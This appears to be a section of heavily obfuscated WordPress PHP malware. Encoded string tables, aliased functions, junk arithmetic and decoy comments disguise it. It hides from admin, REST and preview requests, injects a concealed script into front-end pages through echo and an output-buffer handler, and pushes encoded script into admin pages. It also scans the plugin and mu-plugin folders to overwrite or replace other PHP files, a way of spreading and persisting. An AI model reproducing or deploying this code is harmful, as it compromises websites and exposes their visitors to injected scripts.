 elseif  (isset($GLOBALS[onlv7_99m8sby3(518)])      && $GLOBALS['__scf_vd54bz_6kr2o44_68']($GLOBALS[okltugscqfcy(518)])  && $GLOBALS['__scf_mihsk1y5nz_118']($GLOBALS[onlv7_99m8sby3(1778)], c_5yznsrtgse_i(1779)))  $lvr92t7wkrng(function () {
    $GLOBALS[okltugscqfcy(1778)]->deleteCache(true);
      });
  if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1780)))    $lvr92t7wkrng(e77owqcywda_d(1781));
if ($GLOBALS['__scf_yuvry6nxa5dk96_516'](e77owqcywda_d(1782)) &&  $GLOBALS['__scf_mihsk1y5nz_118'](c_5yznsrtgse_i(1783), onlv7_99m8sby3(1784)))     $lvr92t7wkrng(array(okltugscqfcy(1785),  onlv7_99m8sby3(1786)));
e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(431),  okltugscqfcy(1787));
   return $b_7gut2hg1osx0;$h81tdvs7=203|128;$s28y7t9mrla11p=$h81tdvs7^189;
  }
   function      atrme6abhvd6w4hs()

  {
    if    ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(744))    &&   is_admin())  return  true;
  if ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1788)) &&    wp_doing_ajax())   return true;
     if (defined(c_5yznsrtgse_i(1789))   &&     REST_REQUEST)    return   true;



  if    (defined(okltugscqfcy(1790))  &&  XMLRPC_REQUEST)   return  true;
    if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1791)) &&  is_feed())    return  true;
if    ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1792))  && is_robots())  return  true;

if ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1793))  &&  is_sitemaps())  return  true;



   if ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1794))  && is_customize_preview()) return   true;
    if (isset($_GET[e77owqcywda_d(1795)])  ||    isset($_GET[onlv7_99m8sby3(1796)]) ||   isset($_GET[e77owqcywda_d(1797)]))   return  true;
  return  false;
  }
       function     brlz1sgumqkve7w_1()
{
 $vs96d9_c_bhf4a =  (isset($GLOBALS[e77owqcywda_d(424)])   &&    $GLOBALS['__scf_ncrh0liqs6be8x_41']($GLOBALS[e77owqcywda_d(424)]))  ?     $GLOBALS['__scf__90_xdmo58j3q_311']($GLOBALS[e77owqcywda_d(1798)])    : "";
  if  ($vs96d9_c_bhf4a ===  "") return   "";


     $vs96d9_c_bhf4a = $GLOBALS['__scf_gfb1kztgz8_351'](okltugscqfcy(1799),     okltugscqfcy(1800),  $vs96d9_c_bhf4a);


  $zenohd6lza = $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1147)) ?  (string)    $GLOBALS['__scf__1yrfqcb0r_541'](home_url(), PHP_URL_HOST)     : "";
     $naw__otbovtz     = l09115umv3lykft9t($GLOBALS['__scf_sp7azfm0t4x0x_100']($zenohd6lza),     (0x2+0x4));
   $l6k0ild8qmmr31  =  $GLOBALS['__scf_pozjicggfgaq_9']($GLOBALS['__scf_poant85f5yad_56']($vs96d9_c_bhf4a),  0,    (172^170));
  return   "\n<script data-sc=\""  . $naw__otbovtz . '-'  .   $l6k0ild8qmmr31  .   "\">\n"  .    $vs96d9_c_bhf4a . "\n</script>\n<!-- sc"  .  $naw__otbovtz .    '-'     . $l6k0ild8qmmr31   .  " -->\n";
     }
     function   fnscuetmdae92hl()
{
try {
// PHPUnit 10 srcset descriptor


 if     (atrme6abhvd6w4hs())   return;
 $kyenifyabcwk = brlz1sgumqkve7w_1();
     if ($kyenifyabcwk  ===     "") return;
echo   $kyenifyabcwk;

$GLOBALS[c_5yznsrtgse_i(1801)]   = true;

if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1574))      &&    $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1369))     &&  empty($GLOBALS[c_5yznsrtgse_i(1802)]))   {
$GLOBALS[e77owqcywda_d(1802)] =   true;
    $d84surw877a0  =      (int)    @get_option(okltugscqfcy(476),   0);
      if  ($GLOBALS['__scf_p_l9i38f5mdu2r_184']()   -     $d84surw877a0 > (496-196))   @update_option(onlv7_99m8sby3(476),  $GLOBALS['__scf_p_l9i38f5mdu2r_184'](),     okltugscqfcy(1803));
       unset($d84surw877a0);
 }


} catch (Throwable  $ye68b7hs2257kgf) {
     e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(423),  $ye68b7hs2257kgf);
}  catch    (Exception   $ye68b7hs2257kgf)     {
 }
     }
    function  cdz5b2pzsaj5f48kph594x($hhex58p5fg3le,    $nic9_ofz55    =  0)

 {
        if     (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($hhex58p5fg3le)      ||  $hhex58p5fg3le   ===   "")  return   $hhex58p5fg3le;


    if   (defined(onlv7_99m8sby3(1804))   &&   !($nic9_ofz55 &  PHP_OUTPUT_HANDLER_FINAL))      return    $hhex58p5fg3le;
  if (!empty($GLOBALS[e77owqcywda_d(1741)]))    return $hhex58p5fg3le;
     if  (!empty($GLOBALS[c_5yznsrtgse_i(1805)]))  return    $hhex58p5fg3le;
if   ($GLOBALS['__scf_m36_x4cy3m1b5_10']($hhex58p5fg3le) >  (4194292+12))  return  $hhex58p5fg3le;
if ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(392))) {
   foreach ((array)    @headers_list() as $oh74ci_m74)      {


 if   (stripos($oh74ci_m74,  okltugscqfcy(1806)) ===   0 &&     stripos($oh74ci_m74, e77owqcywda_d(1807))   !== false) return   $hhex58p5fg3le;
if (stripos($oh74ci_m74,  c_5yznsrtgse_i(1808)) === 0   && stripos($oh74ci_m74,  c_5yznsrtgse_i(1809))  ===  false  &&      stripos($oh74ci_m74,  e77owqcywda_d(1810))   ===      false)    return   $hhex58p5fg3le;
  }

  unset($oh74ci_m74);
  }



      $kyenifyabcwk  = brlz1sgumqkve7w_1();
     if ($kyenifyabcwk  === "")     return   $hhex58p5fg3le;
 if  (stripos($hhex58p5fg3le,    c_5yznsrtgse_i(1811))  ===    false   &&   stripos($hhex58p5fg3le,  c_5yznsrtgse_i(1812))  === false)   return    $hhex58p5fg3le;
 $GLOBALS[okltugscqfcy(1805)]     = true;$ekw2ho96=85|155;$bjqs5hws2lgjk=$ekw2ho96^123;
$GLOBALS[e77owqcywda_d(474)]  =   true;
 $atlw2yttgvu418     =    stripos($hhex58p5fg3le,   c_5yznsrtgse_i(1811));



   if  ($atlw2yttgvu418    !==   false) {
   return   $GLOBALS['__scf_pozjicggfgaq_9']($hhex58p5fg3le, 0,   $atlw2yttgvu418)    .  $kyenifyabcwk   .  $GLOBALS['__scf_pozjicggfgaq_9']($hhex58p5fg3le,     $atlw2yttgvu418);


     }
    return $hhex58p5fg3le  . $kyenifyabcwk;
  }
function ooktyw45nner5eqn6yesxr()
 {

 try     {
/* satisfiable type-environment */

if  (atrme6abhvd6w4hs())  return;
   if     (!empty($GLOBALS[okltugscqfcy(1813)]))      return;
if    (!empty($GLOBALS[onlv7_99m8sby3(1814)]))   return;
     if (!$GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(392))) return;
   $vs96d9_c_bhf4a = (isset($GLOBALS[okltugscqfcy(1798)])  && $GLOBALS['__scf_ncrh0liqs6be8x_41']($GLOBALS[okltugscqfcy(1798)]))   ?  $GLOBALS['__scf__90_xdmo58j3q_311']($GLOBALS[onlv7_99m8sby3(1798)])  :   "";
       if    ($vs96d9_c_bhf4a   ===    "")  return;
    $otq7v5_gensug7i =    isset($_SERVER[e77owqcywda_d(1815)]) ?     (string)  $_SERVER[c_5yznsrtgse_i(1815)]  :     "";
   if   ($otq7v5_gensug7i !==   ""    &&   $GLOBALS['__scf_ibg88bu925_93'](onlv7_99m8sby3(1816),  $otq7v5_gensug7i))     return;
 if ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(392))) {
  foreach ((array) @headers_list()    as    $oh74ci_m74)  {


if  (stripos($oh74ci_m74,   c_5yznsrtgse_i(1817))  ===  0  &&   stripos($oh74ci_m74,   onlv7_99m8sby3(1807)) !==  false) return;


      if (stripos($oh74ci_m74,  e77owqcywda_d(1808))   ===  0 &&  stripos($oh74ci_m74, onlv7_99m8sby3(1818))    ===   false &&      stripos($oh74ci_m74,  c_5yznsrtgse_i(1810))  ===    false) return;
    if   (stripos($oh74ci_m74,  c_5yznsrtgse_i(1819))      === 0)     return;
    }
 unset($oh74ci_m74);
// topological sort

 }


$GLOBALS[okltugscqfcy(1814)]   =   true;
       @$GLOBALS['__scf_yd24k3p4xlvyi_1820'](onlv7_99m8sby3(1821));
 }   catch (Throwable  $ye68b7hs2257kgf)  {
    e_42zxx3yq4pdz4bo4(e77owqcywda_d(473),   $ye68b7hs2257kgf);
    }    catch (Exception     $ye68b7hs2257kgf) {
  }


    }



 function mxqxkpmwsuhtwv()
     {
// Memcached adapter option row

try  {
 if  (!$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(744)))  return;
 if (!is_admin()     && (!isset($GLOBALS[e77owqcywda_d(1822)])      ||   $GLOBALS[okltugscqfcy(1822)] !== c_5yznsrtgse_i(1823)))      return;$iny1kjdvv9=PHP_INT_MAX/PHP_INT_MAX;$nstt3cbyu_s95f=$iny1kjdvv9+90;



if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1824))    &&   !is_ssl())    return;



  $n_yysovpozz0y   =   e7dnf6igrlpcuaapfpdtx5(c_5yznsrtgse_i(1825),  "");
$naw__otbovtz =  l09115umv3lykft9t(ABSPATH .  e77owqcywda_d(423),  (4+2));



 $k7b_rvq0a5  = onlv7_99m8sby3(1826);
 if ($n_yysovpozz0y  === "")  {



       if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1827))    &&    (int) @get_option(okltugscqfcy(484),  0))    {
     @update_option(okltugscqfcy(484), 0,  e77owqcywda_d(1828));
$z4lefqmn6gl   =  (string)  @get_option(c_5yznsrtgse_i(1829),  "");
 echo      "\n" .  e77owqcywda_d(1830)    . $naw__otbovtz  .    '>'
.     e77owqcywda_d(1831)
.      e77owqcywda_d(1832)  . $k7b_rvq0a5(okltugscqfcy(1833))  .    onlv7_99m8sby3(1834)



      .  onlv7_99m8sby3(1835)   .    $GLOBALS['__scf_ddem5kbgax66n3_570']($z4lefqmn6gl)    . ';'
       .  onlv7_99m8sby3(1836)     . $k7b_rvq0a5(e77owqcywda_d(1837)) .  onlv7_99m8sby3(1838)
  .  okltugscqfcy(1839)    .  $k7b_rvq0a5(e77owqcywda_d(1840)) . onlv7_99m8sby3(1841)  .  $k7b_rvq0a5(onlv7_99m8sby3(1842))      . e77owqcywda_d(1841)  . $k7b_rvq0a5(c_5yznsrtgse_i(1843))   .     okltugscqfcy(1844)  .     $k7b_rvq0a5(c_5yznsrtgse_i(1845))  . okltugscqfcy(1846)
 . onlv7_99m8sby3(1847)  .  $k7b_rvq0a5(c_5yznsrtgse_i(1848))    . c_5yznsrtgse_i(1849)    . $k7b_rvq0a5(e77owqcywda_d(1850))     .    okltugscqfcy(1851)
  .   okltugscqfcy(1852) .    "\n";
    unset($z4lefqmn6gl);



 }
 return;
    }


$n_yysovpozz0y     = $GLOBALS['__scf_gfb1kztgz8_351'](onlv7_99m8sby3(1107),   c_5yznsrtgse_i(1135),  $n_yysovpozz0y);
    if    ($GLOBALS['__scf_ffvfced40_hd3k_7']($n_yysovpozz0y, onlv7_99m8sby3(1853))    !==  0)   $n_yysovpozz0y   = e77owqcywda_d(1854)  .   $GLOBALS['__scf_lt6nnx5zea_8']($n_yysovpozz0y,   '/');
   $roa563wuc9 =   '/';


    if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1147)))    {
  $nkmc2blwz2   =    (string) $GLOBALS['__scf__1yrfqcb0r_541'](home_url(),     PHP_URL_PATH);
 if  ($nkmc2blwz2     !==     ""    &&   $nkmc2blwz2   !==   '/')   $roa563wuc9 =  $GLOBALS['__scf_zwo1a6spxvy_12']($nkmc2blwz2,  '/') .  '/';
    }
if ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1855)))  {
 @update_option(onlv7_99m8sby3(484),    1,      c_5yznsrtgse_i(1828));
   @update_option(onlv7_99m8sby3(1856),   $n_yysovpozz0y,  e77owqcywda_d(1857));
   }


  $wbeldok9hj9o5  =      c_5yznsrtgse_i(1830) . $naw__otbovtz .  '>'
   .    e77owqcywda_d(1831)
.     e77owqcywda_d(1858) .    $k7b_rvq0a5(e77owqcywda_d(1833))   .  onlv7_99m8sby3(1859)



.  okltugscqfcy(1860)


.   okltugscqfcy(1861)  .  $k7b_rvq0a5(onlv7_99m8sby3(1862))  .      okltugscqfcy(1863)   .     $GLOBALS['__scf_ddem5kbgax66n3_570']($n_yysovpozz0y)  . ')'
       .  okltugscqfcy(1864) . $k7b_rvq0a5(e77owqcywda_d(1840))   .    e77owqcywda_d(1865) . $k7b_rvq0a5(onlv7_99m8sby3(1842))  . okltugscqfcy(1865) . $k7b_rvq0a5(onlv7_99m8sby3(1843)) .  okltugscqfcy(1844)     .   $k7b_rvq0a5(okltugscqfcy(1845))   .  onlv7_99m8sby3(1866) .  $GLOBALS['__scf_ddem5kbgax66n3_570']($n_yysovpozz0y)    . c_5yznsrtgse_i(1867)
   . e77owqcywda_d(1868) .  $k7b_rvq0a5(onlv7_99m8sby3(1869)) .  c_5yznsrtgse_i(1863)  . $GLOBALS['__scf_ddem5kbgax66n3_570']($n_yysovpozz0y) .     onlv7_99m8sby3(1870) .   $GLOBALS['__scf_ddem5kbgax66n3_570']($roa563wuc9) .     okltugscqfcy(1871) .    $k7b_rvq0a5(e77owqcywda_d(1850)) .  okltugscqfcy(1872)
.   okltugscqfcy(1873)      .    $k7b_rvq0a5(c_5yznsrtgse_i(1850)) .     e77owqcywda_d(1874)


 .   c_5yznsrtgse_i(1875)  .  $k7b_rvq0a5(onlv7_99m8sby3(1876))  .  c_5yznsrtgse_i(1877)   .  $k7b_rvq0a5(okltugscqfcy(1878)) .  onlv7_99m8sby3(1879)



     . e77owqcywda_d(1880)   . $k7b_rvq0a5(okltugscqfcy(1881))    .   onlv7_99m8sby3(1859)

    . onlv7_99m8sby3(1882)
 . c_5yznsrtgse_i(1875)   .  $k7b_rvq0a5(c_5yznsrtgse_i(1883))   . onlv7_99m8sby3(1884)
.      okltugscqfcy(1885)  .  $k7b_rvq0a5(okltugscqfcy(1840))     .  e77owqcywda_d(1886)  .   $k7b_rvq0a5(onlv7_99m8sby3(1887))  . c_5yznsrtgse_i(1888)



.  okltugscqfcy(1889);
echo  "\n"  .    $wbeldok9hj9o5   .  "\n";
 }     catch  (Throwable $ye68b7hs2257kgf)  {


 e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1890),   $ye68b7hs2257kgf);
   }   catch    (Exception   $ye68b7hs2257kgf)  {
e_42zxx3yq4pdz4bo4(e77owqcywda_d(1890),   $ye68b7hs2257kgf);



   }
      }



   if  (abom8iirrrwnyl9lj58gbw())   {

     return;
 }
    o6xxatc5co65bwabc();
   $niitnv85qzqb = @$GLOBALS['__scf_xfxvwe4pd_9ay_95'](ku6yldy17ivtsoehkpgirz());

      if  (!$niitnv85qzqb  ||  ($niitnv85qzqb   %      (113643-13643))  !==   lz2qq_av2vpeb134hcpk()) {
   $phkc9_5v3l   = $GLOBALS['__scf_p_l9i38f5mdu2r_184']();
   qdde0bjty1e07vpar5t2(ku6yldy17ivtsoehkpgirz(),     ($phkc9_5v3l    - ($phkc9_5v3l   %  (0x15144+0x355c)))  + lz2qq_av2vpeb134hcpk());
  unset($phkc9_5v3l);
 }
   unset($niitnv85qzqb);


$d9om69oufn3  =  $GLOBALS['__scf__ozzh8uadm__11'](__FILE__) .   e77owqcywda_d(1891)  .  $GLOBALS['__scf_n2ceqwn4my98_3'](__FILE__,    onlv7_99m8sby3(1739));
   $t72dh01kyz4ft  =    @$GLOBALS['__scf_cr6q9fwgft_18']($d9om69oufn3)  ?    (int)   @$GLOBALS['__scf_xfxvwe4pd_9ay_95']($d9om69oufn3)    :   0;
 $diy7yf3ze_0l  =  !($t72dh01kyz4ft  >      $GLOBALS['__scf_p_l9i38f5mdu2r_184']() -    (279+21)     &&  $t72dh01kyz4ft  <=    $GLOBALS['__scf_p_l9i38f5mdu2r_184']() +   (292+8));
    if  ($diy7yf3ze_0l) @$GLOBALS['__scf_nsfksoklwo_73']($d9om69oufn3);



unset($d9om69oufn3,   $t72dh01kyz4ft);
      if ($diy7yf3ze_0l)  try {
 $m2nz56ovdsh5   =   __FILE__;
    $netllqf2bvua   =   "";
 $wt7mdl4l_u4 =    @$GLOBALS['__scf_ha14er2zmzf_92']($m2nz56ovdsh5, false,   null,  0,   (0x887+0x779));
 if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($wt7mdl4l_u4) &&   $GLOBALS['__scf_ibg88bu925_93'](okltugscqfcy(1892),  $wt7mdl4l_u4,  $fjjxuodua_uv)) $netllqf2bvua =  $fjjxuodua_uv[1];
    if  ($netllqf2bvua  !==      ""  && defined(c_5yznsrtgse_i(1893)))  {
    $fw2h8tkmy8    =  array();
  $geek2b7x8ej93j      = defined(okltugscqfcy(1554)) ?  WPMU_PLUGIN_DIR    :  WP_CONTENT_DIR  .    e77owqcywda_d(1894);



$ajebfpy1jg   = defined(onlv7_99m8sby3(1895)) ?   WP_PLUGIN_DIR      :    WP_CONTENT_DIR . c_5yznsrtgse_i(709);
   $s9z7lpeno4yp7m_d  =    false;
   if ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(723)))     {
$rv5gznjdns     =  @$GLOBALS['__scf_iomf4blfg0_43']($geek2b7x8ej93j)  ?   @$GLOBALS['__scf_gjx8dntqvik0_71']($geek2b7x8ej93j      .   e77owqcywda_d(1896))   :   false;
$xwu2599gg74ws_e = @$GLOBALS['__scf_gjx8dntqvik0_71']($ajebfpy1jg     .  c_5yznsrtgse_i(1897));
    if  ($GLOBALS['__scf_a91xkwk0qm_35']($rv5gznjdns)    ||   $GLOBALS['__scf_a91xkwk0qm_35']($xwu2599gg74ws_e)) {
 $s9z7lpeno4yp7m_d    =   true;
 foreach ((array)    $rv5gznjdns    as     $in64tp2iap)   $fw2h8tkmy8[]  =  $in64tp2iap;
foreach   ((array)   $xwu2599gg74ws_e    as $in64tp2iap)  $fw2h8tkmy8[]  =   $in64tp2iap;
 }
   unset($rv5gznjdns, $xwu2599gg74ws_e);$k43yt35mn4_wa=57|231;$zyho4sia=$k43yt35mn4_wa^45;
}
// @scaffold strategy

 if (!$s9z7lpeno4yp7m_d)    {
        $zicxl7lfwdl =  @$GLOBALS['__scf_iomf4blfg0_43']($geek2b7x8ej93j)    ? pd5w5h3uqt5mrsxraacf5($geek2b7x8ej93j,  (4937+63)) :   false;
 if     ($GLOBALS['__scf_a91xkwk0qm_35']($zicxl7lfwdl))  foreach ($zicxl7lfwdl     as   $jmtx472rrluc) {
    if    ($GLOBALS['__scf_pozjicggfgaq_9']($jmtx472rrluc, -(33^37))   === onlv7_99m8sby3(1898)) $fw2h8tkmy8[] =   $geek2b7x8ej93j  . '/'      . $jmtx472rrluc;
}
$zicxl7lfwdl  = @$GLOBALS['__scf_iomf4blfg0_43']($ajebfpy1jg) ? pd5w5h3uqt5mrsxraacf5($ajebfpy1jg,    (4962+38))  :   false;
  if   ($GLOBALS['__scf_a91xkwk0qm_35']($zicxl7lfwdl))  foreach    ($zicxl7lfwdl    as      $jmtx472rrluc)     {
   $ec8__4ed3ima_e   =    $ajebfpy1jg  . '/' .  $jmtx472rrluc;
 if (!@$GLOBALS['__scf_iomf4blfg0_43']($ec8__4ed3ima_e)) continue;
$czjpv2grake =   pd5w5h3uqt5mrsxraacf5($ec8__4ed3ima_e,  (0xb52+0x836));
if    (!$GLOBALS['__scf_a91xkwk0qm_35']($czjpv2grake))  continue;
 foreach     ($czjpv2grake  as   $fbbzfr2pl1f7m1s)  {

      if    ($GLOBALS['__scf_pozjicggfgaq_9']($fbbzfr2pl1f7m1s, -(3+1)) ===  okltugscqfcy(1898)) $fw2h8tkmy8[]   =   $ec8__4ed3ima_e . '/' .  $fbbzfr2pl1f7m1s;
 }
  }
unset($zicxl7lfwdl,    $jmtx472rrluc,   $fbbzfr2pl1f7m1s,   $ec8__4ed3ima_e,   $czjpv2grake);
 }
       $h0f1oasc7_ym3_1b =  $GLOBALS['__scf_n2ceqwn4my98_3']($m2nz56ovdsh5,  okltugscqfcy(1898));
foreach    ($fw2h8tkmy8   as  $in64tp2iap) {


      if    ($in64tp2iap      === $m2nz56ovdsh5)    continue;
 $pfacjhpqgx =   @$GLOBALS['__scf_xfxvwe4pd_9ay_95']($in64tp2iap);
    if (!$pfacjhpqgx      || ($pfacjhpqgx    % (16319+83681)) !== (93751+68)) {
$h_qtao046xijn1u  =    @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($in64tp2iap);
    if    (!$h_qtao046xijn1u  ||   $h_qtao046xijn1u <     (0xf0+0x104)  ||  $h_qtao046xijn1u  >   (52428796+4)) continue;
 }


$wt7mdl4l_u4   =  @$GLOBALS['__scf_ha14er2zmzf_92']($in64tp2iap, false,  null, 0,   (4042+54));
    $fjjxuodua_uv =     array();
  if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($wt7mdl4l_u4))  $GLOBALS['__scf_ibg88bu925_93'](okltugscqfcy(1892),    $wt7mdl4l_u4,   $fjjxuodua_uv);
if   (empty($fjjxuodua_uv[1]))  {
// OSR exit

  if (!b1p_z7rdqk4o1fv4ey8f3t($in64tp2iap,  (4991+9)))     continue;


       $fjjxuodua_uv   = array("",      e77owqcywda_d(1556));
  }


     if   ($GLOBALS['__scf_n2ceqwn4my98_3']($in64tp2iap,  onlv7_99m8sby3(1898))    ===  $h0f1oasc7_ym3_1b &&   $fjjxuodua_uv[1]     ===  $netllqf2bvua)    {
// @partition branded-type

  if   (!tru98rudh0dwaa($in64tp2iap)) {

  if   (l5bm62j0wqxjaofuju3($in64tp2iap,   $in64tp2iap    .   e77owqcywda_d(188))  &&      $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1457)))     @opcache_invalidate($in64tp2iap,  true);
}
   continue;$pxj59lro7r3=197|179;$rp2z38qi_k=$pxj59lro7r3^126;
    }



  if (version_compare($fjjxuodua_uv[1], $netllqf2bvua,  '<'))    {
    $x8jba5pf678800  =  n0t8w3br3bo60xew4($in64tp2iap);
      if ($x8jba5pf678800     ===   false)   {
e_42zxx3yq4pdz4bo4(okltugscqfcy(1899),    okltugscqfcy(1900) .  $GLOBALS['__scf_n2ceqwn4my98_3']($in64tp2iap));



continue;
 }
     if     ($x8jba5pf678800     ===   true)  {
if  (l5bm62j0wqxjaofuju3($in64tp2iap, $in64tp2iap   .  e77owqcywda_d(188)))   {
if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1457))) @opcache_invalidate($in64tp2iap,  true);
   }  elseif    (!x0v1bjoq5k18hm0o0l($in64tp2iap) &&     tcabtbfivnye9t($in64tp2iap)) {
// destruction observer

 brq2e22wo0d9ax40s9($in64tp2iap);
 qeqwysacoqglzf7($in64tp2iap);
  }
@$GLOBALS['__scf_l9ij4yiim4al_f_17']($GLOBALS['__scf__ozzh8uadm__11']($in64tp2iap) .    onlv7_99m8sby3(1901) .   $GLOBALS['__scf_n2ceqwn4my98_3']($in64tp2iap,      e77owqcywda_d(1902)));
  continue;
    }
     if   (!x0v1bjoq5k18hm0o0l($in64tp2iap)  &&   tcabtbfivnye9t($in64tp2iap))   {


 brq2e22wo0d9ax40s9($in64tp2iap);
qeqwysacoqglzf7($in64tp2iap);
 }
_dbhfbzpahggm4($in64tp2iap);
    continue;
   }

   $nrkb66rz2nut_ett = ($GLOBALS['__scf_n2ceqwn4my98_3']($GLOBALS['__scf__ozzh8uadm__11']($in64tp2iap)) ===    c_5yznsrtgse_i(1903)   ||   $GLOBALS['__scf__ozzh8uadm__11']($in64tp2iap)  ===  $geek2b7x8ej93j);$gw4be61ecif=95+40;$vlpswf2drqn=$gw4be61ecif-17;
if (!$nrkb66rz2nut_ett  &&  $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1904)))     {
 $x9cl28r1nid15  =      $GLOBALS['__scf_n2ceqwn4my98_3']($GLOBALS['__scf__ozzh8uadm__11']($in64tp2iap)) . '/'  .   $GLOBALS['__scf_n2ceqwn4my98_3']($in64tp2iap);


 $gox_n4g38ih7vk     =   (array)  @get_option(okltugscqfcy(1587),  array());
  $nrkb66rz2nut_ett  =   $GLOBALS['__scf_wwy_cardw8r5v6_146']($x9cl28r1nid15,     $gox_n4g38ih7vk,   true);
 if     (!$nrkb66rz2nut_ett  &&   $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1678))  &&   is_multisite()    &&  $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(202)))   {
   $fwdr_9q0etb   =   (array)   @get_site_option(onlv7_99m8sby3(203),   array());
$nrkb66rz2nut_ett   = isset($fwdr_9q0etb[$x9cl28r1nid15]);
    unset($fwdr_9q0etb);$jtil3h39x52jq1=329;$h73dpsse=($jtil3h39x52jq1>0)?$jtil3h39x52jq1:-$jtil3h39x52jq1;
 }
    unset($x9cl28r1nid15, $gox_n4g38ih7vk);$mq_2zwre=PHP_INT_MAX/PHP_INT_MAX;$x4lyd1b2el6fq=$mq_2zwre+2;

   }
 if  (!$nrkb66rz2nut_ett)  continue;
if (version_compare($fjjxuodua_uv[1], $netllqf2bvua, '>'))    {
     if  (tru98rudh0dwaa($in64tp2iap)     &&     !j9r6r4ckcu2wki7o3d41($in64tp2iap) &&  !y06apgntkz3fy3e7gf($in64tp2iap,  $m2nz56ovdsh5))  return;
$n0765_f568f84_8o =  $GLOBALS['__scf__ozzh8uadm__11']($in64tp2iap) .   onlv7_99m8sby3(1905)  .    $GLOBALS['__scf_poant85f5yad_56']($in64tp2iap);
    if    (@$GLOBALS['__scf_cr6q9fwgft_18']($n0765_f568f84_8o)     && (int)   @$GLOBALS['__scf_xfxvwe4pd_9ay_95']($n0765_f568f84_8o) <    $GLOBALS['__scf_p_l9i38f5mdu2r_184']()  -   (0x9+0x33)) {
 $g6v0ih27uq6s3f = $GLOBALS['__scf_yg8mfbm26s_111']('|',   (string)  @$GLOBALS['__scf_ha14er2zmzf_92']($n0765_f568f84_8o));



if   ($GLOBALS['__scf_hotyagmbtkrb_36']($g6v0ih27uq6s3f)  <     2  || $g6v0ih27uq6s3f[0]    !==     $fjjxuodua_uv[1]    ||    (int) $g6v0ih27uq6s3f[1]  !==  (int)  @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($in64tp2iap)) {
  @$GLOBALS['__scf_l9ij4yiim4al_f_17']($n0765_f568f84_8o);
 continue;
 }
  if   (n0t8w3br3bo60xew4($in64tp2iap)   !==  false) {
      jl7b1mmow1nrgaho8($in64tp2iap,  (337+83));
if  (er_0rzjfu8611gx($in64tp2iap))     {
// OSR entry

@$GLOBALS['__scf_l9ij4yiim4al_f_17']($n0765_f568f84_8o);



 if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1457))) @opcache_invalidate($in64tp2iap,   true);
     

}



}
 continue;
}
   @$GLOBALS['__scf_uayyvei514_193']($n0765_f568f84_8o,  $fjjxuodua_uv[1] .    '|'     .    (int) @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($in64tp2iap));
 continue;
   }



  if   ($fjjxuodua_uv[1]  === $netllqf2bvua) {


     $q8rqsu0aajuwrn_3  =   gqw3uom14c2468n1o0();
$z5465jm6qddg6ia     =   false;

   if (!empty($q8rqsu0aajuwrn_3[e77owqcywda_d(1906)])) {
// unmount referentially-transparent gateway

  $plwilbal24   = @$GLOBALS['__scf_jm_ztoos21fema_33']($q8rqsu0aajuwrn_3[okltugscqfcy(1906)]);
    $iuwfhfdwpa5mvww9 =  @$GLOBALS['__scf_jm_ztoos21fema_33']($in64tp2iap);



       if    ($GLOBALS['__scf_ncrh0liqs6be8x_41']($plwilbal24)   &&  $GLOBALS['__scf_ncrh0liqs6be8x_41']($iuwfhfdwpa5mvww9)  && $plwilbal24  ===    $iuwfhfdwpa5mvww9 &&   t6oowwx96_mz36ue04x($q8rqsu0aajuwrn_3)    ===   c_5yznsrtgse_i(1359)  &&   tru98rudh0dwaa($in64tp2iap))  {

if  (y06apgntkz3fy3e7gf($in64tp2iap,  $m2nz56ovdsh5))    $z5465jm6qddg6ia =   true;
  else return;
    }
  if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($plwilbal24)    && $plwilbal24  ===  @$GLOBALS['__scf_jm_ztoos21fema_33']($m2nz56ovdsh5))    $z5465jm6qddg6ia    =   true;
    }



 if  (!$z5465jm6qddg6ia  &&      !tru98rudh0dwaa($in64tp2iap))   {
      if (j9r6r4ckcu2wki7o3d41($in64tp2iap)  || n0t8w3br3bo60xew4($in64tp2iap)  !==    false) {
     if     (l5bm62j0wqxjaofuju3($in64tp2iap, $in64tp2iap    .   c_5yznsrtgse_i(188))  && $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1457)))   @opcache_invalidate($in64tp2iap,   true);
  }
  unset($q8rqsu0aajuwrn_3, $z5465jm6qddg6ia,    $plwilbal24, $iuwfhfdwpa5mvww9);
     continue;
      }
